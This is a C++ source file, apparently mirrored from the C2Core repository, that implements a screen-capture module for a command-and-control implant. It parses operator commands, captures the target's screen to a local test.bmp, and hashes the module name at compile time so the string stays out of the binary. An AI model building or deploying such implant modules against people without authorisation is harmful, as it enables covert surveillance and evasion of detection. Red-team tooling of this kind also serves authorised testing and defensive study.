mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
kali
128 lines
2.7 KiB
C++
128 lines
2.7 KiB
C++
#include "ScreenShot.hpp"
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// https://github.com/apriorit/Screenshot_Desktop/tree/master
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#include "ScreenShooter.h"
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#include "Common.hpp"
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#include <cstring>
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using namespace std;
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// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary
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constexpr std::string_view moduleName = "screenShot";
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constexpr unsigned long moduleHash = djb2(moduleName);
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#ifdef _WIN32
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__declspec(dllexport) ScreenShot* ScreenShotConstructor()
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{
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return new ScreenShot();
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}
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#else
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__attribute__((visibility("default"))) ScreenShot* ScreenShotConstructor()
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{
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return new ScreenShot();
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}
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#endif
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ScreenShot::ScreenShot()
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#ifdef BUILD_TEAMSERVER
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: ModuleCmd(std::string(moduleName), moduleHash)
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#else
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: ModuleCmd("", moduleHash)
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#endif
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{
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}
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ScreenShot::~ScreenShot()
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{
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}
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std::string ScreenShot::getInfo()
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{
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std::string info;
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#ifdef BUILD_TEAMSERVER
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info += "ScreenShot:\n";
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info += "ScreenShot\n";
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info += "exemple:\n";
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info += "- ScreenShot\n";
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#endif
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return info;
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}
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int ScreenShot::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
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{
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#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
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if (splitedCmd.size() >= 2 )
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{
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string inputFile;
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for (int idx = 1; idx < splitedCmd.size(); idx++)
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{
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if(!inputFile.empty())
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inputFile+=" ";
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inputFile+=splitedCmd[idx];
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}
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c2Message.set_instruction(splitedCmd[0]);
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c2Message.set_inputfile(inputFile);
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}
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else
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{
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c2Message.set_returnvalue(getInfo());
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return -1;
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}
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#endif
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return 0;
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}
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#define ERROR_OPEN_FILE 1
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void SaveVectorToFile(const std::wstring& fileName, const std::vector<unsigned char>& data)
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{
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HANDLE hFile = CreateFileW(fileName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
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if(hFile == INVALID_HANDLE_VALUE)
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throw std::logic_error("SaveVectorToFile : can't open file ");
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guards::CHandleGuard fileGuard(hFile);
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DWORD bytesWriten = 0;
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if(!WriteFile(hFile, &data[0], (DWORD)data.size(), &bytesWriten, 0))
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throw std::logic_error("SaveVectorToFile : can't write to file ");
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}
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int ScreenShot::process(C2Message &c2Message, C2Message &c2RetMessage)
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{
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c2RetMessage.set_instruction(c2RetMessage.instruction());
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std::cout << "ScreenShot " << std::endl;
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std::vector<unsigned char> dataScreen;
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ScreenShooter::CaptureScreen(dataScreen);
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const wchar_t* filename = L"test.bmp";
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SaveVectorToFile(filename, dataScreen);
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std::string buffer;
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c2RetMessage.set_returnvalue(buffer);
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return 0;
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}
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int ScreenShot::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
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{
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#ifdef BUILD_TEAMSERVER
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int errorCode = c2RetMessage.errorCode();
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if(errorCode>0)
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{
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if(errorCode==ERROR_OPEN_FILE)
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errorMsg = "Failed: Couldn't open file";
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}
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#endif
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return 0;
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}
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